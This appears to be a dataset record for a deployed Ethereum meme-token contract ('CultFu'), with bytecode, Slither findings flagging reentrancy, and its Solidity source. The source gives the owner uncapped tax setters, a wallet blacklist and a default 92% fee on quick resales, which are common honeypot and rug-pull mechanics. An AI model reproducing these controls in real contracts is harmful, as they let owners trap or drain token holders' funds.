080838252602082019050828560208602820111156124a657600080fd5b60005b858110156124d657816124bc88826124e0565b8452602084019350602083019250506001810190506124a9565b5050509392505050565b6000813590506124ef816132d6565b92915050565b600081519050612504816132d6565b92915050565b600082601f83011261251b57600080fd5b813561252b848260208601612474565b91505092915050565b600081359050612543816132ed565b92915050565b600081519050612558816132ed565b92915050565b60008135905061256d81613304565b92915050565b60008151905061258281613304565b92915050565b60006020828403121561259a57600080fd5b60006125a8848285016124e0565b91505092915050565b6000602082840312156125c357600080fd5b60006125d1848285016124f5565b91505092915050565b600080604083850312156125ed57600080fd5b60006125fb858286016124e0565b925050602061260c858286016124e0565b9150509250929050565b60008060006060848603121561262b57600080fd5b6000612639868287016124e0565b935050602061264a868287016124e0565b925050604061265b8682870161255e565b9150509250925092565b6000806040838503121561267857600080fd5b6000612686858286016124e0565b92505060206126978582860161255e565b9150509250929050565b6000602082840312156126b357600080fd5b600082013567ffffffffffffffff8111156126cd57600080fd5b6126d98482850161250a565b91505092915050565b6000602082840312156126f457600080fd5b600061270284828501612534565b91505092915050565b60006020828403121561271d57600080fd5b600061272b84828501612549565b91505092915050565b60008060006060848603121561274957600080fd5b600061275786828701612573565b935050602061276886828701612573565b925050604061277986828701612573565b9150509250925092565b600061278f838361279b565b60208301905092915050565b6127a481612e80565b82525050565b6127b381612e80565b82525050565b60006127c482612d26565b6127ce8185612d49565b93506127d983612d16565b8060005b8381101561280a5781516127f18882612783565b97506127fc83612d3c565b9250506001810190506127dd565b5085935050505092915050565b61282081612e92565b82525050565b61282f81612ed5565b82525050565b600061284082612d31565b61284a8185612d5a565b935061285a818560208601612ee7565b61286381613021565b840191505092915050565b600061287b602383612d5a565b915061288682613032565b604082019050919050565b600061289e602a83612d5a565b91506128a982613081565b604082019050919050565b60006128c1602283612d5a565b91506128cc826130d0565b604082019050919050565b60006128e4601b83612d5a565b91506128ef8261311f565b602082019050919050565b6000612907602183612d5a565b915061291282613148565b604082019050919050565b600061292a602083612d5a565b915061293582613197565b602082019050919050565b600061294d602983612d5a565b9150612958826131c0565b604082019050919050565b6000612970602583612d5a565b915061297b8261320f565b604082019050919050565b6000612993602483612d5a565b915061299e8261325e565b604082019050919050565b60006129b6601783612d5a565b91506129c1826132ad565b602082019050919050565b6129d581612ebe565b82525050565b6129e481612ec8565b82525050565b60006020820190506129ff60008301846127aa565b92915050565b6000604082019050612a1a60008301856127aa565b612a2760208301846127aa565b9392505050565b6000604082019050612a4360008301856127aa565b612a5060208301846129cc565b9392505050565b600060c082019050612a6c60008301896127aa565b612a7960208301886129cc565b612a866040830187612826565b612a936060830186612826565b612aa060808301856127aa565b612aad60a08301846129cc565b979650505050505050565b6000602082019050612acd6000830184612817565b92915050565b60006020820190508181036000830152612aed8184612835565b905092915050565b60006020820190508181036000830152612b0e8161286e565b9050919050565b60006020820190508181036000830152612b2e81612891565b9050919050565b60006020820190508181036000830152612b4e816128b4565b9050919050565b60006020820190508181036000830152612b6e816128d7565b9050919050565b60006020820190508181036000830152612b8e816128fa565b9050919050565b60006020820190508181036000830152612bae8161291d565b9050919050565b60006020820190508181036000830152612bce81612940565b9050919050565b60006020820190508181036000830152612bee81612963565b9050919050565b60006020820190508181036000830152612c0e81612986565b9050919050565b60006020820190508181036000830152612c2e816129a9565b9050919050565b6000602082019050612c4a60008301846129cc565b92915050565b600060a082019050612c6560008301886129cc565b612c726020830187612826565b8181036040830152612c8481866127b9565b9050612c9360608301856127aa565b612ca060808301846129cc565b9695505050505050565b6000602082019050612cbf60008301846129db565b92915050565b6000612ccf612ce0565b9050612cdb8282612f1a565b919050565b6000604051905090565b600067ffffffffffffffff821115612d0557612d04612ff2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d7682612ebe565b9150612d8183612ebe565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612db657612db5612f94565b5b828201905092915050565b6000612dcc82612ebe565b9150612dd783612ebe565b925082612de757612de6612fc3565b5b828204905092915050565b6000612dfd82612ebe565b9150612e0883612ebe565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e4157612e40612f94565b5b828202905092915050565b6000612e5782612ebe565b9150612e6283612ebe565b925082821015612e7557612e74612f94565b5b828203905092915050565b6000612e8b82612e9e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612ee082612ebe565b9050919050565b60005b83811015612f05578082015181840152602081019050612eea565b83811115612f14576000848401525b50505050565b612f2382613021565b810181811067ffffffffffffffff82111715612f4257612f41612ff2565b5b80604052505050565b6000612f5682612ebe565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f8957612f88612f94565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132df81612e80565b81146132ea57600080fd5b50565b6132f681612e92565b811461330157600080fd5b50565b61330d81612ebe565b811461331857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202835c6cf0d8fcdd16921c1b5455411d8e3b5f728021656999e4aa1ef9df0996e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,159 |
0xf932Bf2B47E76a5774AC470EfeEdb3115091c3A9
|
// SPDX-License-Identifier: Unlicense
// TG @cultfu
// Web https://cultfu.com
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CultFu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "CultFu";
string private constant _symbol = "CULTFU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 2000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 50;
uint256 private _taxFeeJeets = 42;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 10;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress ;
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 30 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 20000 * 10**9;
uint256 public _maxWalletSize = 40000 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
_marketingAddress=payable(_msgSender());
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize);
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 5 minutes) {
require(amount <= _maxTxAmount);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setPair() external onlyOwner{
require(!tradingOpen);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
timeJeets = hoursTime * 1 hours;
}
}
|
0x60806040526004361061021e5760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e1461063d578063e0f9f6a014610683578063ea1644d5146106a3578063f2fde38b146106c3578063fe72c3c1146106e357600080fd5b806395d89b411461058e5780639ec350ed146105bd5780639f131571146105dd578063a9059cbb146105fd578063c55284901461061d57600080fd5b80637c519ffb116100f25780637c519ffb1461050f5780637d1db4a514610524578063881dce601461053a5780638da5cb5b1461055a5780638f9a55c01461057857600080fd5b806370a08231146104a4578063715018a6146104c457806374010ece146104d9578063790ca413146104f957600080fd5b8063313ce567116101a65780634bdc18de116101755780634bdc18de1461041a5780634bf2c7c91461042f5780635d098b381461044f5780636d8aa8f81461046f5780636fc3eaec1461048f57600080fd5b8063313ce5671461039e57806333251a0b146103ba57806338eea22d146103da57806349bd5a5e146103fa57600080fd5b806318160ddd116101ed57806318160ddd1461030c57806323b872dd1461033057806327c8f8351461035057806328bb665a146103665780632fd689e31461038857600080fd5b806306fdde031461022a578063095ea7b31461026b5780630f3a325f1461029b5780631694505e146102d457600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5060408051808201909152600681526543756c74467560d01b60208201525b6040516102629190611e49565b60405180910390f35b34801561027757600080fd5b5061028b610286366004611ec3565b6106f9565b6040519015158152602001610262565b3480156102a757600080fd5b5061028b6102b6366004611eef565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102e057600080fd5b506019546102f4906001600160a01b031681565b6040516001600160a01b039091168152602001610262565b34801561031857600080fd5b5066071afd498d00005b604051908152602001610262565b34801561033c57600080fd5b5061028b61034b366004611f0c565b610710565b34801561035c57600080fd5b506102f461dead81565b34801561037257600080fd5b50610386610381366004611f63565b610779565b005b34801561039457600080fd5b50610322601d5481565b3480156103aa57600080fd5b5060405160098152602001610262565b3480156103c657600080fd5b506103866103d5366004611eef565b610818565b3480156103e657600080fd5b506103866103f5366004612028565b610887565b34801561040657600080fd5b50601a546102f4906001600160a01b031681565b34801561042657600080fd5b506103866108bc565b34801561043b57600080fd5b5061038661044a36600461204a565b610a8b565b34801561045b57600080fd5b5061038661046a366004611eef565b610aba565b34801561047b57600080fd5b5061038661048a366004612063565b610b14565b34801561049b57600080fd5b50610386610b5c565b3480156104b057600080fd5b506103226104bf366004611eef565b610b86565b3480156104d057600080fd5b50610386610ba8565b3480156104e557600080fd5b506103866104f436600461204a565b610c1c565b34801561050557600080fd5b50610322600a5481565b34801561051b57600080fd5b50610386610c4b565b34801561053057600080fd5b50610322601b5481565b34801561054657600080fd5b5061038661055536600461204a565b610ca5565b34801561056657600080fd5b506000546001600160a01b03166102f4565b34801561058457600080fd5b50610322601c5481565b34801561059a57600080fd5b5060408051808201909152600681526543554c54465560d01b6020820152610255565b3480156105c957600080fd5b506103866105d8366004612028565b610d21565b3480156105e957600080fd5b506103866105f8366004612063565b610d56565b34801561060957600080fd5b5061028b610618366004611ec3565b610d9e565b34801561062957600080fd5b50610386610638366004612028565b610dab565b34801561064957600080fd5b50610322610658366004612085565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561068f57600080fd5b5061038661069e36600461204a565b610de0565b3480156106af57600080fd5b506103866106be36600461204a565b610e1c565b3480156106cf57600080fd5b506103866106de366004611eef565b610e4b565b3480156106ef57600080fd5b5061032260185481565b6000610706338484610f35565b5060015b92915050565b600061071d848484611059565b61076f843361076a8560405180606001604052806028815260200161225e602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906116fc565b610f35565b5060019392505050565b6000546001600160a01b031633146107ac5760405162461bcd60e51b81526004016107a3906120be565b60405180910390fd5b60005b8151811015610814576001600960008484815181106107d0576107d06120f3565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061080c8161211f565b9150506107af565b5050565b6000546001600160a01b031633146108425760405162461bcd60e51b81526004016107a3906120be565b6001600160a01b03811660009081526009602052604090205460ff1615610884576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108b15760405162461bcd60e51b81526004016107a3906120be565b600d91909155600f55565b6000546001600160a01b031633146108e65760405162461bcd60e51b81526004016107a3906120be565b601a54600160a01b900460ff16156108fd57600080fd5b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610962573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109869190612138565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f79190612138565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a689190612138565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab55760405162461bcd60e51b81526004016107a3906120be565b601355565b6017546001600160a01b0316336001600160a01b031614610ada57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b03163314610b3e5760405162461bcd60e51b81526004016107a3906120be565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b031614610b7c57600080fd5b4761088481611736565b6001600160a01b03811660009081526002602052604081205461070a90611770565b6000546001600160a01b03163314610bd25760405162461bcd60e51b81526004016107a3906120be565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c465760405162461bcd60e51b81526004016107a3906120be565b601b55565b6000546001600160a01b03163314610c755760405162461bcd60e51b81526004016107a3906120be565b601a54600160a01b900460ff1615610c8c57600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610cc557600080fd5b610cce30610b86565b8111158015610cdd5750600081115b610d185760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107a3565b610884816117f4565b6000546001600160a01b03163314610d4b5760405162461bcd60e51b81526004016107a3906120be565b600b91909155600c55565b6000546001600160a01b03163314610d805760405162461bcd60e51b81526004016107a3906120be565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b6000610706338484611059565b6000546001600160a01b03163314610dd55760405162461bcd60e51b81526004016107a3906120be565b600e91909155601055565b6000546001600160a01b03163314610e0a5760405162461bcd60e51b81526004016107a3906120be565b610e1681610e10612155565b60185550565b6000546001600160a01b03163314610e465760405162461bcd60e51b81526004016107a3906120be565b601c55565b6000546001600160a01b03163314610e755760405162461bcd60e51b81526004016107a3906120be565b6001600160a01b038116610eda5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107a3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f975760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107a3565b6001600160a01b038216610ff85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107a3565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110bd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107a3565b6001600160a01b03821661111f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107a3565b600081116111815760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107a3565b6001600160a01b03821660009081526009602052604090205460ff16156111ba5760405162461bcd60e51b81526004016107a390612174565b6001600160a01b03831660009081526009602052604090205460ff16156111f35760405162461bcd60e51b81526004016107a390612174565b3360009081526009602052604090205460ff16156112235760405162461bcd60e51b81526004016107a390612174565b6000546001600160a01b0384811691161480159061124f57506000546001600160a01b03838116911614155b1561154457601a54600160a01b900460ff166112ad5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107a3565b601a546001600160a01b0383811691161480156112d857506019546001600160a01b03848116911614155b1561138a576001600160a01b03821630148015906112ff57506001600160a01b0383163014155b801561131957506017546001600160a01b03838116911614155b801561133357506017546001600160a01b03848116911614155b1561138a57601b5481111561138a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107a3565b601a546001600160a01b038381169116148015906113b657506017546001600160a01b03838116911614155b80156113cb57506001600160a01b0382163014155b80156113e257506001600160a01b03821661dead14155b1561143e57601c54816113f484610b86565b6113fe919061219b565b1061140857600080fd5b601a54600160b81b900460ff161561143e57600a546114299061012c61219b565b421161143e57601b5481111561143e57600080fd5b600061144930610b86565b601d54909